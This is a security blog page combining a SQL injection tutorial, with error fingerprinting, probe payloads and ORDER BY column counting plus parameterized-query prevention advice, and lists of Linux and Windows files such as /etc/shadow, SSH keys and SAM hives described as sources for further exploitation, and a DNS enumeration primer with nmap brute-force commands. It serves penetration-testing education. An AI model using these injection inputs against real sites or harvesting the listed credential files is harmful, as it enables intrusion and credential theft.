VK9 Security

Basics of SQL Injection

by | Dec 5, 2019 | Web Exploitation

Basic of SQL for SQL Injection

In this Tutorial we will discuss some basics of SQL queries and concentrate on queries and basics which will help us while different Phases of Injection. This will be like a crash course of SQL as per the requirements of SQL Injection.

The Hierarchy
First of all there are users which can have access to multiple databases, then a database can have multiple tables then a table can have multiple Columns and columns have data in each row.

This is an example database.

http://www.securityidiots.com/post_images/database_tables.png

Here is an example of the most basic type of Select query.

select * from table1

Output will be:

http://www.securityidiots.com/post_images/basic_sql_p1_1.png

Where * stands for all the columns and “table1” is the table name.

so for example we do not want all the columns but only some selected columns in output then the query will be.

select column1,column2 from table1



Output will be:

http://www.securityidiots.com/post_images/basic_sql_p1_2.png

so let us try some basic conditions now to limit the output.

Select * from students where id=1


Output will be:

http://www.securityidiots.com/post_images/basic_sql_p1_3.png

let’s try some other conditions with string type columns.

Select * from students where f_name=’camaline’

http://www.securityidiots.com/post_images/basic_sql_p1_4.png

Whenever we are facing a SQL injection. Something query this is running inside the application. So once we assume what the query is we can easily start injecting into it. Following are some common possibilities of queries you can face:

[#] If Query is taking any numerical input

select * from table_name where id=1
select * from table_name where id=’1′
select * from table_name where id=”1″
select * from table_name where id=(1)
select * from table_name where id=(‘1’)
select * from table_name where id=(“1”)

All the above queries will give same output.

[#] If Query is taking any string input

select * from table_name where id=’1′
select * from table_name where id=”1″
select * from table_name where id=(‘1’)
select * from table_name where id=(“1”)



All the above queries will give same output.

For Example when we see any url like “http://vk9-sec.com/report.php?id=23” we can easily assume what query may be working inside. And that is the first step of SQL injection.

So if we assume for the above url our Assumption Queries will be the following:

select * from table_name where id=23
select * from table_name where id=’23’
select * from table_name where id=”23″
select * from table_name where id=(23)
select * from table_name where id=(’23’)
select * from table_name where id=(“23”)


before we start we must know different types of comments used in SQLi.

Comment

  

Name

—

:

MySQL Linux Style

–+

:

MySQL Windows Style

#

:

Hash (URL encode while use)

–+-

:

SQL Comment

;%00

:

Null Byte

`

:

Backtick

Important

Remember whenever the input is enclosed with single quotes only single quote with input will create error.
When input is enclosed by double quotes a double quote with input will give error.
When Input is not enclosed with anything single quote and double quote both will give error.

First of all we can try our input with some injections to see if we get any error. Error may always not be real SQL error it may be some times generic error or change in output of the application. All you have to do it recognize it.

SQL ERRORS


MySQL Error Style:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1



MSSQL ASPX Error:

Server Error in ‘/’ Application



MSAccess (Apache PHP):

Fatal error: Uncaught exception ‘com_exception’ with message Source: Microsoft JET Database Engine



MSAccesss (IIS ASP):

Microsoft JET Database Engine error ‘80040e14’



Oracle Error:

ORA-00933: SQL command not properly ended



ODBC Error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)



PostgreSQL Error:

PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1
or
Query failed: ERROR: syntax error at or near

“‘” at character 56 in /www/site/test.php on line 121.



MS SQL Server: Error:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Creating errors

Different tests to create errors and confirm which query is working inside the Application while using the same example “http://vk9-sec.com/report.php?id=23” url, You can perform these tests and check the reactions of the application:

select * from table_name where id=23

Input

  

Reaction if its Intiger Based Injection

23′

:

It should cause error or no output

“

:

Should cause error or no output

23 or 1=1

:

Any Output should come but may be different output

23 and 1=1

:

Same output should come

23 and false

:

No output

23 and true

:

Same Output

23–+

:

Same output. I used –+ to comment, later i ll show how to know which one to use

23 and true–+

:

Same output

If the Web application reacts same as shown above then you can make sure that the injection is integer type.

Scenario 1: Single quote

Now let’s test for single quote enclosed input query.

select * from table_name where id=’23’

Input

  

Reaction if its Single Qoute Based Injection

23′

:

It should cause error or no output

23″

:

No error Same output

23′ or ‘1’=’1

:

Any Output should come but may be different output

23′ and ‘1’=’1

:

Same output should come

23′ and false–+

:

No output

23′ and true–+

:

Same Output

If the Web application reacts same as shown above, then you can make sure that the injection is single quote type.

Scenario 2: Double quote

Now let’s test for double quote enclosed input query.

select * from table_name where id=”23″

Input

  

Reaction if its Double Qoute Based Injection

23′

:

No error Same output

23″

:

>It should cause error or no output

23″ or “1”=”1

:

Any Output should come but may be different output

23″ and “1”=”1

:

Same output should come

23″ and false–+

:

No output

23″ and true–+

:

Same Output


If the Web application reacts same as shown above then you can make sure that the injection is single quote type.

Scenario 3: Integer Based Bracket enclosed

Now let’s test for bracket enclosed integer based input query.

select * from table_name where id=(23)

Input

  

Reaction if its Intiger Based Bracket enclosed Injection

23′

:

It should cause error or no output

“

:

Should cause error or no output

23 or 1=1

:

Output should come but may be different output

23 and 1=1

:

Output should come but may be different output

23 and false

:

No output

23 and true

:

Same Output

23–+

:

Error or No output. Here you can understand that any Bracket is used

23)–+

:

Same output

23) and false–+

:

No output

23) and true–+

:

Same output


If the Web application reacts same as shown above then you can make sure that the injection is Integer type with bracket Query.

Scenario 4: bracket enclosed Single Quote

Now let’s test for bracket enclosed Single Quote based input query.

select * from table_name where id=(’23’)

Input

  

Reaction if its bracket enclosed Single Quote based Injection

23′

:

It should cause error or no output

23″

:

No error Same output

23′ or ‘1’=’1

:

Any Output should come but may be different output

23′ and ‘1’=’1

:

Any Output should come but may be different output

23′ and false–+

:

No output or error

23′ and true–+

:

No output or error

23′) and False–+

:

No output

23′) and true–+

:

Same Output

23′) or true–+

:

Output will come but may be different

If the Web application reacts same as shown above, then you can make sure that the injection is bracket enclosed Single Quote based input query.

Scenario 5: bracket enclosed Double Quote

Now let’s test for bracket enclosed double Quote based input query.

select * from table_name where id=(“23”)

Input

  

Reaction if its bracket enclosed Double Quote based Injection

23′

:

No error Same output

23″

:

Error or No output

23″ or “1”=”1

:

Any Output should come but may be different output

23″ and “1”=”1

:

Any Output should come but may be different output

23″ and false–+

:

No output or error

23″ and true–+

:

No output or error

23″) and False–+

:

No output

23″) and true–+

:

Same Output

23″) or true–+

:

Output will come but may be different


If the Web application reacts same as shown above, then you can make sure that the injection is bracket enclosed double Quote based input query.

Deeper SQL injection understanding

As discussed earlier following are the different types of comments used in SQLi.

Comment

  

Name

—

:

MySQL Linux Style

–+

:

MySQL Windows Style

#

:

Hash (URL encode while use)

–+-

:

SQL Comment

;%00

:

Null Byte

`

:

Backtick

If you see php is used then usually “–” will surely work otherwise you can check “–+” or “# (url encoded)”, else the best option is to try with different types of comments and analyze the input.

Injection types example summary:

Injection

  

If it gives same Output as 23 was giving then

http://vk9-sec.com/report.php?id=23–

:

Its integer type injection and ‘–‘ can be used as comment

http://vk9-sec.com/report.php?id=23′–

:

Its Single quote type injection and ‘–‘ can be used as comment

http://vk9-sec.com/report.php?id=23″–

:

Its Double quote type injection and ‘–‘ can be used as comment

http://vk9-sec.com/report.php?id=23)–

:

Its integer type with bracket injection and ‘–‘ can be used as comment

http://vk9-sec.com/report.php?id=23′)–

:

Its Single quote with bracket type injection and ‘–‘ can be used as comment

http://vk9-sec.com/report.php?id=23″)–

:

Its Double quote with bracket type injection and ‘–‘ can be used as comment

Now as we have understood and knowing the internal query and then finding the type of command we can use. First of all, we will understand the basics of injecting.

Important: Three basic rules of injecting

[1]. Balance.
[2]. Inject.
[3]. Commenting.

Understanding the first phase “Balance”:

In this phase we balance the internal query. Let’s say we figured out that out internal query is “Select * from tablename where id=(’23’)” so in this case our balance input should be 23′).

The phase of Injection:

In this phase we inject as per our requirement, and the type of injection we are doing.

The phase of Commenting:

Then the last part of commenting, which we already know. Now check the below image which will show you all the three parts on injection.

As per the Above Injection we can assume the internal query to be:

Select * from tablename where id='<input>’
So when we pass the url http://vk9-sec.com/report.php?id=23′ order by 1 –+

then it will be injected on place of <input> in above query and become:
Select * from tablename where id=’23’ order by 1 –+’

How to Find Columns

First let’s start by understanding why we require to find the number of columns. First again let’s start from the basics our example database:

http://www.securityidiots.com/post_images/database_tables.png

Select f_name,l_name from students where id=1


Output will be:

f_name

l_name

Emily

watson



Now let’s see how we can manipulate the output using Union statement. Union is used to add the output of multiple queries together. For Example Below is a simple union query.

Select f_name,l_name from students where id=1 union select f_name,l_name from students where id=2


Output will be:

f_name

l_name

Emily

watson

Deniel

Robertson

Important

So what the union query did over here is it concatenated output of two different Select queries. But one thing to remember while concatenating, that Union will only concatenate if both queries are outputting same numbers of columns. Let’s try some more.

Select f_name,l_name from students where id=1 union select 1,2

Output will be:

f_name

l_name

Emily

watson

1

2

==================================================================

Select f_name,l_name from students where id=1 union select ‘hello’,’bye’



Output will be:

f_name

l_name

Emily

watson

hello

bye

==================================================================

Select f_name,l_name from students where id=1 union select 5545,2323


Output will be:

f_name

l_name

Emily

watson

5545

2323

==================================================================

Select f_name,l_name from students where id=1 union select database(),user()



Output will be:

f_name

l_name

Emily

watson

fakedb1

fakeuser@localhost

ORDER BY

Select * from students where id=1 union select f_name,l_name from students where id=2



for the above one there won’t be any output but only an error that “The used SELECT statements have a different number of columns”, because “select * from students” is selecting all the columns from the table students which are four, that is why when we tried to union 2 columns with it, we got an error. Union select is used to concatenate our injected output with the real output. Here we face a problem that we must know the number of columns select query is using so that we can make the right union select statement. Here enters the “order by” keyword. Order by is used to sort the output of a query let’s see some examples.

Query

  

Output

select * from students order by 1

:

It will output all the rows and sort then by the first column which is id

select * from students order by 2

:

It will output all the rows and sort then by the second column which is f_name

select * from students order by 3

:

It will output all the rows and sort then by the third column which is l_name

select * from students order by 4

:

It will output all the rows and sort then by the forth column which is roll_no

select * from students order by 5

:

It will create an error “Unknown column ‘5’ in ‘order clause'”

select f_name,l_name from students order by 1

:

It will output all the rows and sort then by the first column which is f_name

select f_name,l_name from students order by 2

:

It will output all the rows and sort then by the second column which is l_name

select f_name,l_name from students order by 3

:

It will create an error “Unknown column ‘3’ in ‘order clause'”

So we have analyzed above that if we try to sort our output with any number which is more than our column count then it will create error. So we can easily understand that we can use order by to know how many columns we have inside the query.

Examples

Query

  

Output

http://vk9-sec.com/report.php?id=23

:

Simple Output from Web-Application

http://vk9-sec.com/report.php?id=23′

:

Error “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1″

http://vk9-sec.com/report.php?id=23″

:

Error “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”‘ at line 1”

http://vk9-sec.com/report.php?id=23 and true

:

while testing internal query if error comes with both single and double quote then the internal query could be integer based, so now testing for that. It Gives output

http://vk9-sec.com/report.php?id=23 and false

:

No Output

Checked this URL and understood that it’s a Integer Based Query. We can make an assumption like below.

Select * from anytablename where id=<Input>



Now let us try and see which comment type we can use. As we already know that input is integer type and is not enclosed by any single or double quote so we will be testing for integer type injection only and wont have to close any single or double quote this time.

Query

  

Output

http://vk9-sec.com/report.php?id=23`

:

Back tick type commenting (Error)

http://vk9-sec.com/report.php?id=23–

:

Error or no Output

http://vk9-sec.com/report.php?id=23–+

:

Same Output like 23 was giving

http://vk9-sec.com/report.php?id=23 or true–+

:

No error but some different output

As we learnt while testing for comment type we can understand with the above output that –+ can be used over here as comment. So as we can see whatever we inject in URL gets injected in the query. Our next task starts here. As now we need to use Union Select statement so that we can manipulate the output and print whatever we want to extract about and from the database. But to use Union select we must know the number of columns used under the query. For that we will use ‘Order By’ as we know if we give order by a number more than the number under the query, then it will throw an error.

URL Injection

Internal Query

Output

http://vk9-sec.com/report.php?id=23 order by 10–+

Select * from tablename where id=23 order by 10

Error (then reduce)

http://vk9-sec.com/report.php?id=23 order by 1–+

Select * from tablename where id=23 order by 1

Working (then increase)

http://vk9-sec.com/report.php?id=23 order by 5–+

Select * from tablename where id=23 order by 5

Working (then increase)

http://vk9-sec.com/report.php?id=23 order by 8–+

Select * from tablename where id=23 order by 8

Error (then reduce)

http://vk9-sec.com/report.php?id=23 order by 6–+

Select * from tablename where id=23 order by 6

Error (then reduce)

We already know that 5 worked so we don’t need to reduce and test again. We can simply understand that 5 is the last number that worked. Now we can use Union select query, which will be the next phase of our injection.

How to detect SQL injection vulnerabilities

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite’s web vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

  • Submitting the single quote character ‘ and looking for errors or other anomalies.
  • Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
  • Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application’s responses.
  • Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.
  • Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.

SQL injection in different parts of the query

Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT query. This type of SQL injection is generally well-understood by experienced testers.

But SQL injection vulnerabilities can in principle occur at any location within the query, and within different query types. The most common other locations where SQL injection arises are:

  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.

There are also many differences between common databases. These mean that some techniques for detecting and exploiting SQL injection work differently on different platforms. For example:

  • Syntax for string concatenation.
  • Comments.
  • Batched (or stacked) queries.
  • Platform-specific APIs.
  • Error messages.

How to prevent SQL injection

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

  • String query = “SELECT * FROM products WHERE category = ‘”+ input + “‘”;
  • Statement statement = connection.createStatement();
  • ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

  • PreparedStatement statement = connection.prepareStatement(“SELECT * FROM products WHERE category = ?”);
  • statement.setString(1, input);
  • ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can’t be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.

Linux Interesting Files

by | Dec 2, 2019 | Active Gathering

Here you have a list of Linux Interesting files. They can be used to extract sensitive information leading to further exploitation.

It is always important to read the Administrator Guide of any application and appli the best security practices to configiguration file.

Any misconfiguration is a potential vector of attack.

• /etc/passwd
• /etc/shadow
• /etc/aliases
• /etc/anacrontab
• /etc/apache2/apache2.conf
• /etc/apache2/httpd.conf
• /etc/at.allow
• /etc/at.deny
• /etc/bashrc
• /etc/bootptab
• /etc/chrootUsers
• /etc/chttp.conf
• /etc/cron.allow
• /etc/cron.deny
• /etc/crontab
• /etc/cups/cupsd.conf
• /etc/exports
• /etc/fstab
• /etc/ftpaccess
• /etc/ftpchroot
• /etc/ftphosts
• /etc/groups
• /etc/grub.conf
• /etc/hosts
• /etc/hosts.allow
• /etc/hosts.deny
• /etc/httpd/access.conf
• /etc/httpd/conf/httpd.conf
• /etc/httpd/httpd.conf
• /etc/httpd/logs/access_log
• /etc/httpd/logs/access.log
• /etc/httpd/logs/error_log
• /etc/httpd/logs/error.log
• /etc/httpd/php.ini
• /etc/httpd/srm.conf
• /etc/inetd.conf
• /etc/inittab
• /etc/issue
• /etc/lighttpd.conf
• /etc/lilo.conf
• /etc/logrotate.d/ftp
• /etc/logrotate.d/proftpd
• /etc/logrotate.d/vsftpd.log
• /etc/lsb-release
• /etc/motd
• /etc/modules.conf
• /etc/motd
• /etc/mtab
• /etc/my.cnf
• /etc/my.conf
• /etc/mysql/my.cnf
• /etc/network/interfaces
• /etc/networks
• /etc/npasswd
• /etc/passwd
• /etc/php4.4/fcgi/php.ini
• /etc/php4/apache2/php.ini
• /etc/php4/apache/php.ini
• /etc/php4/cgi/php.ini
• /etc/php4/apache2/php.ini
• /etc/php5/apache2/php.ini
• /etc/php5/apache/php.ini
• /etc/php/apache2/php.ini
• /etc/php/apache/php.ini
• /etc/php/cgi/php.ini
• /etc/php.ini
• /etc/php/php4/php.ini
• /etc/php/php.ini
• /etc/printcap
• /etc/profile
• /etc/proftp.conf
• /etc/proftpd/proftpd.conf
• /etc/pure-ftpd.conf
• /etc/pureftpd.passwd
• /etc/pureftpd.pdb
• /etc/pure-ftpd/pure-ftpd.conf
• /etc/pure-ftpd/pure-ftpd.pdb
• /etc/pure-ftpd/putreftpd.pdb
• /etc/redhat-release
• /etc/resolv.conf
• /etc/samba/smb.conf
• /etc/snmpd.conf
• /etc/ssh/ssh_config
• /etc/ssh/sshd_config
• /etc/ssh/ssh_host_dsa_key
• /etc/ssh/ssh_host_dsa_key.pub
• /etc/ssh/ssh_host_key
• /etc/ssh/ssh_host_key.pub
• /etc/sysconfig/network
• /etc/syslog.conf
• /etc/termcap
• /etc/vhcs2/proftpd/proftpd.conf
• /etc/vsftpd.chroot_list
• /etc/vsftpd.conf
• /etc/vsftpd/vsftpd.conf
• /etc/wu-ftpd/ftpaccess
• /etc/wu-ftpd/ftphosts
• /etc/wu-ftpd/ftpusers
• /logs/pure-ftpd.log
• /logs/security_debug_log
• /logs/security_log
• /opt/lampp/etc/httpd.conf
• /opt/xampp/etc/php.ini
• /proc/cpuinfo
• /proc/filesystems
• /proc/interrupts
• /proc/ioports
• /proc/meminfo
• /proc/modules
• /proc/mounts
• /proc/stat
• /proc/swaps
• /proc/version
• /proc/self/net/arp
• /root/anaconda-ks.cfg
• /usr/etc/pure-ftpd.conf
• /usr/lib/php.ini
• /usr/lib/php/php.ini
• /usr/local/apache/conf/modsec.conf
• /usr/local/apache/conf/php.ini
• /usr/local/apache/log
• /usr/local/apache/logs
• /usr/local/apache/logs/access_log
• /usr/local/apache/logs/access.log
• /usr/local/apache/audit_log
• /usr/local/apache/error_log
• /usr/local/apache/error.log
• /usr/local/cpanel/logs
• /usr/local/cpanel/logs/access_log
• /usr/local/cpanel/logs/error_log
• /usr/local/cpanel/logs/license_log
• /usr/local/cpanel/logs/login_log
• /usr/local/cpanel/logs/stats_log
• /usr/local/etc/httpd/logs/access_log
• /usr/local/etc/httpd/logs/error_log
• /usr/local/etc/php.ini
• /usr/local/etc/pure-ftpd.conf
• /usr/local/etc/pureftpd.pdb
• /usr/local/lib/php.ini
• /usr/local/php4/httpd.conf
• /usr/local/php4/httpd.conf.php
• /usr/local/php4/lib/php.ini
• /usr/local/php5/httpd.conf
• /usr/local/php5/httpd.conf.php
• /usr/local/php5/lib/php.ini
• /usr/local/php/httpd.conf
• /usr/local/php/httpd.conf.ini
• /usr/local/php/lib/php.ini
• /usr/local/pureftpd/etc/pure-ftpd.conf
• /usr/local/pureftpd/etc/pureftpd.pdn
• /usr/local/pureftpd/sbin/pure-config.pl
• /usr/local/www/logs/httpd_log
• /usr/local/Zend/etc/php.ini
• /usr/sbin/pure-config.pl
• /var/adm/log/xferlog
• /var/apache2/config.inc
• /var/apache/logs/access_log
• /var/apache/logs/error_log
• /var/cpanel/cpanel.config
• /var/lib/mysql/my.cnf
• /var/lib/mysql/mysql/user.MYD
• /var/local/www/conf/php.ini
• /var/log/apache2/access_log
• /var/log/apache2/access.log
• /var/log/apache2/error_log
• /var/log/apache2/error.log
• /var/log/apache/access_log
• /var/log/apache/access.log
• /var/log/apache/error_log
• /var/log/apache/error.log
• /var/log/apache-ssl/access.log
• /var/log/apache-ssl/error.log
• /var/log/auth.log
• /var/log/boot
• /var/htmp
• /var/log/chttp.log
• /var/log/cups/error.log
• /var/log/daemon.log
• /var/log/debug
• /var/log/dmesg
• /var/log/dpkg.log
• /var/log/exim_mainlog
• /var/log/exim/mainlog
• /var/log/exim_paniclog
• /var/log/exim.paniclog
• /var/log/exim_rejectlog
• /var/log/exim/rejectlog
• /var/log/faillog
• /var/log/ftplog
• /var/log/ftp-proxy
• /var/log/ftp-proxy/ftp-proxy.log
• /var/log/httpd/access_log
• /var/log/httpd/access.log
• /var/log/httpd/error_log
• /var/log/httpd/error.log
• /var/log/httpsd/ssl.access_log
• /var/log/httpsd/ssl_log
• /var/log/kern.log
• /var/log/lastlog
• /var/log/lighttpd/access.log
• /var/log/lighttpd/error.log
• /var/log/lighttpd/lighttpd.access.log
• /var/log/lighttpd/lighttpd.error.log
• /var/log/mail.info
• /var/log/mail.log
• /var/log/maillog
• /var/log/mail.warn
• /var/log/message
• /var/log/messages
• /var/log/mysqlderror.log
• /var/log/mysql.log
• /var/log/mysql/mysql-bin.log
• /var/log/mysql/mysql.log
• /var/log/mysql/mysql-slow.log
• /var/log/proftpd
• /var/log/pureftpd.log
• /var/log/pure-ftpd/pure-ftpd.log
• /var/log/secure
• /var/log/vsftpd.log
• /var/log/wtmp
• /var/log/xferlog
• /var/log/yum.log
• /var/mysql.log
• /var/run/utmp
• /var/spool/cron/crontabs/root
• /var/webmin/miniserv.log
• /var/www/log/access_log
• /var/www/log/error_log
• /var/www/logs/access_log
• /var/www/logs/error_log
• /var/www/logs/access.log
• /var/www/logs/error.log
• ~/.atfp_history
• ~/.bash_history
• ~/.bash_logout
• ~/.bash_profile
• ~/.bashrc
• ~/.gtkrc
• ~/.login
• ~/.logout
• ~/.mysql_history
• ~/.nano_history
• ~/.php_history
• ~/.profile
• ~/.ssh/authorized_keys
• ~/.ssh/id_dsa
• ~/.ssh/id_dsa.pub
• ~/.ssh/id_rsa
• ~/.ssh/id_rsa.pub
• ~/.ssh/identity
• ~/.ssh/identity.pub
• ~/.viminfo
• ~/.wm_style
• ~/.Xdefaults
• ~/.xinitrc
• ~/.Xresources
• ~/.xsession

Windows Interesting Files

by | Dec 2, 2019 | Active Gathering

Here you have a list of Windows Interesting files. They can be used to extract sensitive information leading to further exploitation.

It is always important to read the Administrator Guide of any application and appli the best security practices to configiguration file.

Any misconfiguration is a potential vector of attack.

• C:/Users/Administrator/NTUser.dat
• C:/Documents and Settings/Administrator/NTUser.dat
• C:/apache/logs/access.log
• C:/apache/logs/error.log
• C:/apache/php/php.ini
• C:/boot.ini
• C:/inetpub/wwwroot/global.asa
• C:/MySQL/data/hostname.err
• C:/MySQL/data/mysql.err
• C:/MySQL/data/mysql.log
• C:/MySQL/my.cnf
• C:/MySQL/my.ini
• C:/php4/php.ini
• C:/php5/php.ini
• C:/php/php.ini
• C:/Program Files/Apache Group/Apache2/conf/httpd.conf
• C:/Program Files/Apache Group/Apache/conf/httpd.conf
• C:/Program Files/Apache Group/Apache/logs/access.log
• C:/Program Files/Apache Group/Apache/logs/error.log
• C:/Program Files/FileZilla Server/FileZilla Server.xml
• C:/Program Files/MySQL/data/hostname.err
• C:/Program Files/MySQL/data/mysql-bin.log
• C:/Program Files/MySQL/data/mysql.err
• C:/Program Files/MySQL/data/mysql.log
• C:/Program Files/MySQL/my.ini
• C:/Program Files/MySQL/my.cnf
• C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
• C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
• C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
• C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
• C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
• C:/Program Files/MySQL/MySQL Server 5.0/my.ini
• C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
• C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
• C:/Program Files (x86)/Apache Group/Apache/conf/access.log
• C:/Program Files (x86)/Apache Group/Apache/conf/error.log
• C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
• C:/Program Files (x86)/xampp/apache/conf/httpd.conf
• C:/WINDOWS/php.ini
• C:/WINDOWS/Repair/SAM
• C:/Windows/repair/system
• C:/Windows/repair/software
• C:/Windows/repair/security
• C:/WINDOWS/System32/drivers/etc/hosts
• C:/Windows/win.ini
• C:/WINNT/php.ini
• C:/WINNT/win.ini
• C:/xampp/apache/bin/php.ini
• C:/xampp/apache/logs/access.log
• C:/xampp/apache/logs/error.log
• C:/Windows/Panther/Unattend/Unattended.xml
• C:/Windows/Panther/Unattended.xml
• C:/Windows/debug/NetSetup.log
• C:/Windows/system32/config/AppEvent.Evt
• C:/Windows/system32/config/SecEvent.Evt
• C:/Windows/system32/config/default.sav
• C:/Windows/system32/config/security.sav
• C:/Windows/system32/config/software.sav
• C:/Windows/system32/config/system.sav
• C:/Windows/system32/config/regback/default
• C:/Windows/system32/config/regback/sam
• C:/Windows/system32/config/regback/security
• C:/Windows/system32/config/regback/system
• C:/Windows/system32/config/regback/software
• C:/Program Files/MySQL/MySQL Server 5.1/my.ini
• C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
• C:/Windows/System32/inetsrv/config/applicationHost.config
• C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

53/tcp DNS – Enumeration

by | Dec 1, 2019 | Active Gathering

DNS is a naming system for computers that converts human readable domain names e.g. (infosecinstitute.com) into computer readable IP-addresses.

However, some security vulnerabilities exist due to misconfigured DNS name servers that can lead to information disclosure about the domain. This forms an important step of the Information Gathering stage during a Penetration test or Vulnerability assessment.

https://github.com/nixawk/pentest-wiki/blob/master/1.Information-Gathering/How-to-gather-dns-information.md

https://www.varonis.com/blog/what-is-dns/

DNS basics

Let’s say the user opens up the browser and types in infosecinstitute.com. It is now the responsibility of the DNS resolver in the user’s operating system to fetch the IP address. It first checks its local cache to see if it can find a record for the queried domain name. A cache usually contains a mapping of IP-addresses to hostnames which are saved during recent lookups so that the resolver does not have to fetch the IP address again and again. If it can’t find the IP address in its cache it queries the DNS server to see if it has a record for it. A DNS server is usually given to you by the ISP or you can manually set up a DNS server for yourself. If it still can’t find the IP Address then it goes through a process or recursive DNS query in which it queries different name servers to get the IP-address of the domain. As soon as it finds the IP-address it returns the IP-address back to the user and also caches it for its future use.

Basic DNS query

  • nslookup
  • set type=a
  • google.com

Network view of the request.

Request:

Response:

Running queries with dig

  • dig google.com

To simplify the output, we will be using those extra parameters on the following commands:

+nocmd – Removes the +cmd options output

+noall – Removes extra headers, flags, time information, message size, etc.

+answer – Tells dig to return the answer section (the “juicy” part of the output).

To specify the record we would like to query, we just have to add the record type right after the domain specification. Here is a basic syntax we will use:

  • dig +nocmd google.com <record> +noall +answer

DNS Types: 10 Top DNS Record Types

DNS servers create a DNS record to provide important information about a domain or hostname, particularly its current IP address. The most common DNS record types are:

Address Mapping record (A Record)—also known as a DNS host record, stores a hostname and its corresponding IPv4 address.

IP Version 6 Address record (AAAA Record)—stores a hostname and its corresponding IPv6 address.

Canonical Name record (CNAME Record)—can be used to alias a hostname to another hostname. When a DNS client requests a record that contains a CNAME, which points to another hostname, the DNS resolution process is repeated with the new hostname.

Mail exchanger record (MX Record)—specifies an SMTP email server for the domain, used to route outgoing emails to an email server.

Name Server records (NS Record)—specifies that a DNS Zone, such as “example.com” is delegated to a specific Authoritative Name Server, and provides the address of the name server.

Reverse-lookup Pointer records (PTR Record)—allows a DNS resolver to provide an IP address and receive a hostname (reverse DNS lookup).

Certificate record (CERT Record)—stores encryption certificates—PKIX, SPKI, PGP, and so on.

Service Location (SRV Record)—a service location record, like MX but for other communication protocols.

Text Record (TXT Record)—typically carries machine-readable data such as opportunistic encryption, sender policy framework, DKIM, DMARC, etc.

Start of Authority (SOA Record)—this record appears at the beginning of a DNS zone file, and indicates the Authoritative Name Server for the current DNS zone, contact details for the domain administrator, domain serial number, and information on how frequently DNS information for this zone should be refreshed.

DNS Types: 3 DNS Query Types

There are three types of queries in the DNS system:

Recursive Query

In a recursive query, a DNS client provides a hostname, and the DNS Resolver “must” provide an answer—it responds with either a relevant resource record, or an error message if it can’t be found. The resolver starts a recursive query process, starting from the DNS Root Server, until it finds the Authoritative Name Server (for more on Authoritative Name Servers see DNS Server Types below) that holds the IP address and other information for the requested hostname.

Iterative Query

In an iterative query, a DNS client provides a hostname, and the DNS Resolver returns the best answer it can. If the DNS resolver has the relevant DNS records in its cache, it returns them. If not, it refers the DNS client to the Root Server, or another Authoritative Name Server which is nearest to the required DNS zone. The DNS client must then repeat the query directly against the DNS server it was referred to.

Non-Recursive Query

A non-recursive query is a query in which the DNS Resolver already knows the answer. It either immediately returns a DNS record because it already stores it in local cache, or queries a DNS Name Server which is authoritative for the record, meaning it definitely holds the correct IP for that hostname. In both cases, there is no need for additional rounds of queries (like in recursive or iterative queries). Rather, a response is immediately returned to the client.

Zone file

A Zone file is basically a text file present on the server hosting the domain that contains entries for different resource records. Each line is represented by a different record.

Each zone file must start with a Start of Authority (SOA) record containing an authoritative name server for the domain (for e.g. ns1.google.com for google.com) and an email address of someone responsible for the management of the name server.

Domains can be very large, so they are further organized into smaller books, called, “zones.”  No single DNS server stores all the books – that would be impractical.

Different types of Resource Records exist within a Zone file. However we are going to discuss some of the important ones

  • A Records– Maps an IP Address to a hostname.For e.g. 74.125.236.80 for google.com.
    • nslookup
    • set type=a
    • yahoo.com

  • NS Records-Delegates a given zone to use the given authoritative nameserver. For e.g. ns1.google.com is an authoritative nameserver for google.com
    • set type=ns
    • yahoo.com

    • server ns1.yahoo.com (set this as main server)

  • MX Records-This basically tells us which server is responsible for receiving mails sent to that domain name.
    • set type=mx
    • yahoo.com

  • TXT Records-This consists of arbitrarily human readable text in a record.
  • CNAME Records– Gives an alias of one name to another.

Enumeration

Nmap

  • nmap –script=broadcast-dns-service-discovery google.com
  • nmap -T4 -p 53 –script dns-brute google.com
  • nmap -Pn -sU -p 53 –script=dns-recursion google.com

DNSEnum

Multithreaded Perl script to enumerate DNS information of a domain and to discover non-contiguous IP blocks.

OPERATIONS:

  • Get the host’s address (A record).
  • Get the nameservers (threaded).
